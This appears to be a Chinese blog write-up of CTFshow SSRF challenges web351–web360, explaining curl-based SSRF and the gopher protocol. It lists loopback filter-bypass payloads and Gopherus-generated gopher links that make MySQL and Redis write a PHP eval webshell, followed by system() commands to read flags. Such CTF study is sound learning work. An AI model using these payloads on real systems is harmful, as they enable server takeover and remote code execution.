CTFshow_Web_SSRF——web351~web360（除354、357）

最新推荐文章于 2024-11-16 17:43:15 发布

Ho1aAs

最新推荐文章于 2024-11-16 17:43:15 发布

阅读量2.3k

点赞数 2

CC 4.0 BY-SA版权

分类专栏： # CTF-Web 文章标签： ctf 安全 web ctfshow SSRF

本文链接：https://blog.youkuaiyun.com/Xxy605/article/details/114988116

CTF-Web 专栏收录该内容

66 篇文章

订阅专栏

本文介绍SSRF攻击原理及gopher协议利用方法，通过多个实战案例演示如何绕过不同类型的过滤策略，实现对目标系统的访问和控制。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

前言

354和357由于端口改变、服务器所限等原因，无法解出

一、知识点

Ⅰ、SSRF攻击点

<?php
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
?>

curl_init()：初始curl会话
curl_setopt()：会话设置
curl_exec()：执行curl会话,获取内容
curl_close()：会话关闭

Ⅱ、gopher协议

通过gopher协议，将请求体用url编码后加上任意字符,一般是下划线，接上gopher的url即可执行GET、POST请求

gopher://ip:port/_[stream]

二、题解

web351

最基础SSRF，要访问的URL拼接到POST请求即可访问

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

flag存于/flag.php，我们可以让服务器访问它内容，curl_exec($ch)传回读取的内容，通过echo显示flag

[POST]payload：url=http://127.0.0.1/flag.php

web352、353

过滤，限定了协议、过滤了两个（组）ip

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

parse_url()解析请求包的参数，返回数组，scheme是请求包的协议

127.1会被解析成127.0.0.1，也就意味着为零可缺省
在Linux中，0也会被解析成127.0.0.1
127.0.0.0/8是一个环回地址网段，从127.0.0.1 ~ 127.255.255.254都表示localhost
ip地址还可以通过表示成其他进制的形式访问，IP地址二进制、十进制、十六进制互换

[POST]payload：url=http://127.1/flag.php
[POST]payload：url=http://0/flag.php
[POST]payload：url=http://127.255.255.254/flag.php
[POST]payload：url=http://2130706433/flag.php

web355

过滤，限制http://[host]/[path] host部分长度小于5

[POST]payload：url=http://127.1/flag.php
[POST]payload：url=http://0/flag.php

web356

过滤，限制http://[host]/[path] host部分长度小于3

[POST]payload：url=http://0/flag.php

web358

过滤，正则表达式

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$x)){
    echo file_get_contents($url);
}

正则表达式表明l以ctf.开始以show结束，中间任意

当parse_url()解析到邮箱时：@前面是user
file_get_contents()会访问host:port/path，与user无关

因此构建payload：

[POST]payload：url=http://ctf.@127.0.0.1/flag.php?show

web359

利用gopher协议无密码注入mysql，使用Gopherus工具构造payload

本质是SSRF+RCE

此工具需要安装两个包，并且用python2，Windows和Linux均可

在这里插入图片描述

$ python gopherus.py  --exploit mysql

Give MySQL username: root
Give query to execute: select "<?php eval($_POST[cmd]); ?>" into outfile "/var/www/html/cmd.php";
Your gopher link is ready to do SSRF :

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4c%00%00%00%03%20%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%20%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%63%6d%64%2e%70%68%70%22%3b%01%00%00%00%01

选择构建mysql的payload
设置用户名，默认root
sql注入，写入shell，这里使用了into outfile新建shell并写入
得到payload

登陆界面找到一个隐藏的攻击点，对其进行SSRF攻击：

在这里插入图片描述

[POST]payload1：gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4c%00%00%00%03%20%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%20%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%63%6d%64%2e%70%68%70%22%3b%01%00%00%00%01

再访问/cmd.php执行命令即可

[POST]payload2：cmd=system("cat /flag.txt");

web360

利用gopher协议打redis也可以用Gopherus

$ python gopherus.py  --exploit redis

What do you want?? (ReverseShell/PHPShell): php

Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_POST[cmd]); ?>

Your gopher link is Ready to get PHP Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.

payload要把它再进行一次URLEncode

[POST]payload1：gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bcmd%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

再访问/shell.php执行命令即可

[POST]payload2：cmd=system("cat /flaaag");